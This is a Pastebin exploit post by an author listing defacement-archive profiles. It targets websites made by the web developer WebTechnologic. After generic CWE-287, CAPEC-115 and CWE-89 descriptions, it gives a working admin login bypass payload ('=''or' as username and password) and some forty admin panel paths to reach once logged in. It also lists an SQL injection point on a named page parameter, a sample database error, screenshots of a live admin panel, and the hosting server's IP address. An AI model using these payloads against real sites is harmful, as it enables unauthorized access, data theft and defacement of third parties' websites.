API tools faq
paste
KingSkrupellos

WebTechnologic SQL Injection Improper Authentication

KingSkrupellos
May 3rd, 2020
129
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 6.48 KB | None | 0 0
raw download clone embed print report
  1. ####################################################################
  2.  
  3. # Exploit Title : WebTechnologic SQL Injection Improper Authentication
  4. # Author [ Discovered By ] : KingSkrupellos
  5. # Team : Cyberizm Digital Security Army
  6. # Date : 03 May 2020
  7. # Vendor Homepage : webtechnologic.com
  8. # Tested On : Windows and Linux
  9. # Category : WebApps
  10. # Exploit Risk : Medium
  11. # Vulnerability Type : CWE-287 [ Improper Authentication ]
  12. CAPEC-115: Authentication Bypass
  13. CWE-89 [ Improper Neutralization of Special Elements used
  14. in an SQL Command ('SQL Injection') ]
  15. # PacketStormSecurity : packetstormsecurity.com/files/authors/13968
  16. # CXSecurity : cxsecurity.com/author/KingSkrupellos/1/
  17. # Exploit4Arab : exploit4arab.org/author/KingSkrupellos
  18. # Zone-H : zone-h.org/archive/notifier=KingSkrupellos
  19. zone-h.org/archive/notifier=CyBeRiZM
  20. # Mirror-H : mirror-h.org/search/hacker/948/
  21. mirror-h.org/search/hacker/94/
  22. mirror-h.org/search/hacker/1826/
  23. # Defacer.ID : defacer.id/archive/attacker/KingSkrupellos
  24. defacer.id/archive/team/Cyberizm-Org
  25. # Inj3ctor : 1nj3ctor.com/attacker/43/ ~ 1nj3ctor.com/attacker/59/
  26. # Aljyyosh : aljyyosh.org/hacker.php?id=KingSkrupellos
  27. aljyyosh.org/hacker.php?id=Cyberizm.Org
  28. aljyyosh.org/hacker.php?id=Cyberizm
  29. # Zone-D : zone-d.org/attacker/id/69
  30. # Pastebin : pastebin.com/u/KingSkrupellos
  31. # Cyberizm.Org : cyberizm.org/forum-exploits-vulnerabilities
  32.  
  33. ####################################################################
  34.  
  35. # Impact :
  36. ***********
  37. CWE-287 [ Improper Authentication ]
  38.  
  39. Authentication is any process by which a system verifies the identity of a user who wishes
  40. to access it.When an actor claims to have a given identity, the software does not
  41. prove or insufficiently proves that the claim is correct. Improper authentication
  42. occurs when an application improperly verifies the identity of a user.
  43. A software incorrectly validates user's login information and as a result, an attacker can
  44. gain certain privileges within the application or disclose sensitive information that allows
  45. them to access sensitive data and provoke arbitrary code execution.
  46. The weakness is introduced during Architecture and Design, Implementation stages.
  47.  
  48. CAPEC-115 [ Authentication Bypass ]
  49.  
  50. An attacker gains access to application, service, or device with the privileges
  51. of an authorized or privileged user by evading or circumventing an authentication mechanism.
  52. The attacker is therefore able to access protected data without authentication ever having taken place.
  53. This refers to an attacker gaining access equivalent to an authenticated user without ever going
  54. through an authentication procedure. This is usually the result of the attacker using an unexpected
  55. access procedure that does not go through the proper checkpoints where authentication should occur.
  56. For example, a web site might assume that all users will click through a given link in order to get to
  57. secure material and simply authenticate everyone that clicks the link. However, an attacker might be
  58. able to reach secured web content by explicitly entering the path to the content rather than clicking
  59. through the authentication link, thereby avoiding the check entirely. This attack pattern differs from
  60. other authentication attacks in that attacks of this pattern avoid authentication entirely, rather than
  61. faking authentication by exploiting flaws or by stealing credentials from legitimate users.
  62.  
  63. CWE-89 [ Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') ]
  64.  
  65. Website powered by Car Dealer 5 is prone to an SQL-injection vulnerability because
  66. it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
  67. Exploiting this issue could allow an attacker to compromise the application, access or
  68. modify data, or exploit latent vulnerabilities in the underlying database.
  69. A remote attacker can send a specially crafted request to the vulnerable application and
  70. execute arbitrary SQL commands in application`s database. Further exploitation of this
  71. vulnerability may result in unauthorized data manipulation.
  72. An attacker can exploit this issue using a browser or with any SQL Injector Tool.
  73.  
  74. ####################################################################
  75.  
  76. # Authentication Bypass / Improper Authentication / Admin Panel Login Bypass Exploit :
  77. ******************************************************************************
  78. /admin/
  79.  
  80. Administrator Username : '=''or'
  81. Administrator Password : '=''or'
  82.  
  83. /cust-login/admin_home.php
  84. /cust-login/TreeCount_Detail.php
  85. /cust-login/RefIncome_list.php
  86. /cust-login/BinaryIncome.php
  87. /cust-login/Income_cust_list.php
  88. /cust-login/Income_CustHistory_list.php
  89. /cust-login/Sponser_cust_list.php
  90. /cust-login/recharge_list.php
  91. /cust-login/admin_email.php
  92. /cust-login/change_password.php
  93. /admin-panel/admin_home.php
  94. /admin-panel/admin_email.php
  95. /admin-panel/change_password.php
  96. /admin-panel/content_list.php
  97. /admin-panel/News_addf.php
  98. /admin-panel/News_list.php
  99. /admin-panel/content_image_addf.php
  100. /admin-panel/content_image_list.php
  101. /admin-panel/content_image_addf.php
  102. /admin-panel/banner_addf.php
  103. /admin-panel/banner_list.php
  104. /admin-panel/staff_addf.php
  105. /admin-panel/staff_list.php
  106. /admin-panel/testi_addf.php
  107. /admin-panel/testi_list.php
  108. /admin-panel/courses_addf.php
  109. /admin-panel/courses_list.php
  110. /admin-panel/Album_addf.php
  111. /admin-panel/Album_list.php
  112. /admin-panel/Photo_addf.php
  113. /admin-panel/Photo_list.php
  114. /admin-panel/vedio_addf.php
  115. /admin-panel/vedio_list.php
  116. /admin-panel/email_addf.php
  117. /admin-panel/mail_temp_addf.php
  118. /admin-panel/newsletter_list.php
  119.  
  120. ScreenShot Administrator Panel :
  121.  
  122. https://www.upload.ee/image/11619798/webtechnologicadminpanelscreenshot03052020.png
  123.  
  124. https://www.upload.ee/image/11619810/webtechnologic2adminpanelscreenshot03052020.png
  125.  
  126. Reverse IP results for (103.21.59.15)
  127. There are 2,963 domains hosted on this server.
  128.  
  129. # SQL Injection Exploit :
  130. ************************
  131. /KrishnaCollege_Bijnor.php?pid=[SQL Injection]
  132.  
  133. # Example SQL Database Error :
  134. ******************************
  135. An Internal Error has Occured.
  136. Please report following error to the webmaster.
  137. select * from tbl_content where id='334''
  138. You have an error in your SQL syntax; check the manual that corresponds
  139. to your MySQL server version for the right syntax to use near ''334''' at line 1'
  140.  
  141. ####################################################################
  142.  
  143. # Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team
  144.  
  145. ####################################################################
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!